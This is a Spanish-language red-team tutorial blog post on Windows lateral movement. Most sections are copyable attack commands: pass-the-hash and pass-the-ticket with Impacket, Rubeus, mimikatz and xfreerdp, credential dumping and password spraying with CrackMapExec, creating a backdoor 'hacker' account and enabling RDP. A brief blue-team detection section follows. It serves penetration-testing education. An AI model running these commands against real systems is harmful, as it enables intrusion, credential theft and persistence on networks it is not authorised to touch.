Saltar al contenido

Movimiento lateral: PsExec, WMI, WinRM y cómo los atacantes se mueven por una red

    Movimiento lateral:

    PsExec, WMI, WinRM y cómo los atacantes se mueven por una red

    Serie Red Team | unfantasmaenelsistema.com

    Comprometer el primer sistema de una red es solo el principio. En la mayoría de las auditorías, el objetivo real —el servidor de bases de datos, el controlador de dominio, el sistema de archivos financieros— está en otro equipo. El movimiento lateral es la fase que conecta el acceso inicial con el objetivo final, y es la más silenciosa de todas porque usa protocolos completamente legítimos de Windows: SMB, WMI, WinRM, RDP.

    PsExec, WMI, WinRM y RDP son herramientas que los administradores de sistemas usan todos los días. Cuando un atacante las usa para moverse por la red, el tráfico se mezcla con el tráfico legítimo y es extraordinariamente difícil de distinguir sin una monitorización específica. Este artículo explica cómo funciona cada técnica, cuándo usarla y, desde la perspectiva del blue team, cómo detectarla.

    1. Qué es el movimiento lateral y por qué importa

    El punto clave que distingue el movimiento lateral de otras fases del ataque es que usa los mismos protocolos que la administración legítima. Un administrador de sistemas que usa PsExec para ejecutar un script en 50 equipos y un atacante que usa psexec.py para moverse por la red generan prácticamente el mismo patrón de tráfico. La detección requiere contexto: quién es el origen, a qué hora, con qué cuenta, con qué frecuencia.

    2. PsExec: ejecución remota clásica vía SMB

    PsExec es la técnica más conocida de ejecución remota en Windows. La versión original de Sysinternals es una herramienta legítima de administración que los administradores usan habitualmente. La versión de Impacket (psexec.py) permite hacer lo mismo desde Linux con credenciales o hashes NTLM.

    psexec.py empresa.local/Administrator:contraseña@192.168.56.10

    psexec.py empresa.local/Administrator@192.168.56.10 -hashes ‘:NTLM_HASH’

    psexec.py empresa.local/Administrator:contraseña@192.168.56.10 cmd /c whoami

    smbexec.py empresa.local/Administrator:contraseña@192.168.56.10

    smbexec.py empresa.local/Administrator@192.168.56.10 -hashes ‘:NTLM_HASH’

    atexec.py empresa.local/Administrator:contraseña@192.168.56.10 ‘whoami’

    PsExec.exe \\192.168.56.10 -u Administrator -p contraseña cmd

    PsExec.exe \\192.168.56.10 -u Administrator -p contraseña -s cmd

    PsExec.exe \\192.168.56.10,192.168.56.11,192.168.56.12 cmd

    ▲ Comandos copiables

    La variante smbexec.py es más sigilosa porque no sube ningún binario: ejecuta comandos directamente via cmd.exe a través de un share temporal. No deja artefactos de servicio en el registro y genera menos ruido en los logs. Para evasión de EDR, atexec.py va un paso más lejos usando el servicio de tareas programadas.

    3. WMI: ejecución remota más sigilosa

    WMI (Windows Management Instrumentation) es la infraestructura de gestión de Windows que permite acceder y controlar prácticamente cualquier aspecto del sistema de forma local y remota. Desde el punto de vista del movimiento lateral, su ventaja principal sobre PsExec es que no sube ningún binario al sistema objetivo y el proceso creado es hijo del proceso legítimo WmiPrvSE.exe.

    wmiexec.py empresa.local/Administrator:contraseña@192.168.56.10

    wmiexec.py empresa.local/Administrator@192.168.56.10 -hashes ‘:NTLM_HASH’

    wmiexec.py empresa.local/Administrator:contraseña@192.168.56.10 ‘whoami /all’

    Invoke-WmiMethod -ComputerName 192.168.56.10 -Credential (Get-Credential) -Class Win32_Process -Name Create -ArgumentList ‘cmd.exe /c whoami > C:\output.txt’

    $cred = Get-Credential

    $sess = New-CimSession -ComputerName 192.168.56.10 -Credential $cred

    Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=’whoami’}

    wmiexec.py -nooutput empresa.local/Administrator:contraseña@192.168.56.10 ‘net user hacker Pass123! /add’

    ▲ Comandos copiables

    4. WinRM y Evil-WinRM: shell PowerShell remoto

    WinRM es el protocolo de gestión remota de Windows basado en HTTP/S, accesible en el puerto 5985. Proporciona un shell PowerShell completo en el sistema remoto, lo que lo hace especialmente útil cuando necesitamos ejecutar cmdlets complejos o scripts de PowerShell. Evil-WinRM añade características específicas para pentesting: subida/descarga de archivos, carga de scripts y bypass de AMSI.

    nmap -p 5985,5986 192.168.56.10

    crackmapexec winrm 192.168.56.10 -u Administrator -p contraseña

    evil-winrm -i 192.168.56.10 -u Administrator -p contraseña

    evil-winrm -i 192.168.56.10 -u Administrator -H ‘NTLM_HASH’

    evil-winrm -i 192.168.56.10 -u Administrator -p contraseña -S

    evil-winrm -i 192.168.56.10 -u Administrator -p contraseña -s /ruta/scripts/

    upload /local/ruta/archivo.exe C:\Windows\Temp\archivo.exe

    download C:\Windows\Temp\interesante.txt /local/ruta/

    $cred = New-Object System.Management.Automation.PSCredential(‘empresa\Administrator’, (ConvertTo-SecureString ‘contraseña’ -AsPlainText -Force))

    Enter-PSSession -ComputerName 192.168.56.10 -Credential $cred

    Invoke-Command -ComputerName 192.168.56.10 -Credential $cred -ScriptBlock {whoami; hostname}

    ▲ Comandos copiables

    5. RDP: escritorio remoto como vector lateral

    RDP es el protocolo de escritorio remoto más usado en redes Windows. Proporciona acceso gráfico completo al sistema remoto, lo que lo hace útil cuando necesitamos interacción con aplicaciones que tienen interfaz gráfica o cuando las otras técnicas no están disponibles. Una característica poco conocida: xfreerdp soporta Pass the Hash, permitiendo autenticarse con el hash NTLM directamente.

    nmap -p 3389 192.168.56.10

    crackmapexec smb 192.168.56.10 -u usuario -p contraseña –rdp

    xfreerdp /u:Administrator /p:contraseña /v:192.168.56.10

    xfreerdp /u:Administrator /pth:NTLM_HASH /v:192.168.56.10

    xfreerdp /u:Administrator /p:contraseña /v:192.168.56.10 /cert:ignore /drive:kali,/tmp

    rdesktop -u Administrator -p contraseña 192.168.56.10

    net localgroup ‘Remote Desktop Users’ hacker /add

    Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’ -name ‘fDenyTSConnections’ -Value 0

    Enable-NetFirewallRule -DisplayGroup ‘Remote Desktop’

    ▲ Comandos copiables

    6. Pass the Ticket: movimiento lateral con Kerberos

    Cuando los entornos modernos deshabilitan NTLM, Pass the Hash deja de funcionar. La alternativa es Pass the Ticket: usar tickets Kerberos (TGT o TGS) robados de la memoria de otros procesos para autenticarse en servicios que usan Kerberos. Overpass the Hash convierte un hash NTLM en un ticket TGT, combinando ambas técnicas.

    klist

    .\Rubeus.exe triage

    .\Rubeus.exe dump /nowrap

    .\Rubeus.exe dump /user:domain_admin /nowrap

    .\Rubeus.exe ptt /ticket:BASE64_TICKET

    sekurlsa::tickets /export

    kerberos::ptt ticket.kirbi

    klist

    sekurlsa::pth /user:domain_admin /domain:empresa.local /ntlm:NTLM_HASH /run:cmd.exe

    export KRB5CCNAME=/ruta/al/ticket.ccache

    psexec.py -k -no-pass empresa.local/domain_admin@192.168.56.10

    wmiexec.py -k -no-pass empresa.local/domain_admin@192.168.56.10

    smbclient.py -k empresa.local/domain_admin@192.168.56.10

    ▲ Comandos copiables

    7. CrackMapExec: automatizar el movimiento lateral

    CrackMapExec (CME) es la herramienta que convierte el movimiento lateral de una operación manual en una operación escalable. Con un solo comando puede verificar credenciales, ejecutar comandos y extraer hashes en toda una subred simultáneamente. Es la herramienta más usada en la fase de movimiento lateral de cualquier auditoría de red Windows.

    crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña

    crackmapexec smb 192.168.56.0/24 -u Administrator -H ‘NTLM_HASH’

    crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -x ‘whoami /all’

    crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -X ‘Get-Process’

    crackmapexec smb 192.168.56.0/24 -u usuarios.txt -p ‘Contraseña2024!’

    crackmapexec smb 192.168.56.0/24 -u usuarios.txt -p contraseñas.txt –continue-on-success

    crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña –sam

    crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña –lsa

    crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -M lsassy

    crackmapexec smb 192.168.56.0/24 -u usuario -p contraseña –sessions

    crackmapexec smb 192.168.56.0/24 -u usuario -p contraseña –shares

    crackmapexec winrm 192.168.56.0/24 -u Administrator -p contraseña

    crackmapexec winrm 192.168.56.0/24 -u Administrator -p contraseña -x ‘whoami’

    ▲ Comandos copiables

    Una advertencia importante sobre el password spray con CME: ejecutar demasiados intentos en poco tiempo puede activar las políticas de bloqueo de cuentas del dominio. Antes de hacer spray, verificar con net accounts /domain o Get-ADDefaultDomainPasswordPolicy cuál es el umbral de bloqueo y dejar suficiente margen de seguridad.

    8. Detección: cómo ve el blue team el movimiento lateral

    El movimiento lateral deja trazas en los logs de Windows que un analista de SOC o un sistema SIEM puede detectar. La clave está en conocer qué Event IDs genera cada técnica y qué combinaciones son anómalas.

    El patrón más universal de detección es el Logon Type 3 (network logon) con cuentas privilegiadas fuera de los servidores de administración habituales. Un Domain Admin que normalmente solo inicia sesión en el DC de repente aparece con sesión Type 3 en 15 workstations distintas en 10 minutos es una señal inequívoca de movimiento lateral. Sin Sysmon y sin logs de autenticación centralizados en un SIEM, esta señal pasa completamente desapercibida.

    9. Flujo completo de movimiento lateral

    Conclusión

    El movimiento lateral es la fase que más tiempo consume en una auditoría real y la que más impacto tiene en términos de demostración del riesgo. No basta con comprometer un sistema: hay que demostrar qué alcance tiene ese acceso inicial, qué otros sistemas son accesibles desde ahí, y qué credenciales se pueden encadenar para llegar al objetivo final.

    La perspectiva del blue team es igualmente importante: un SOC sin monitorización de Logon Type 3 anómalo, sin Sysmon desplegado y sin correlación de eventos de autenticación en un SIEM es ciego al movimiento lateral. Los siguientes artículos de la serie cubren exactamente eso: cómo construir la detección desde el lado defensivo.

    unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

    Resumen de privacidad

    Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.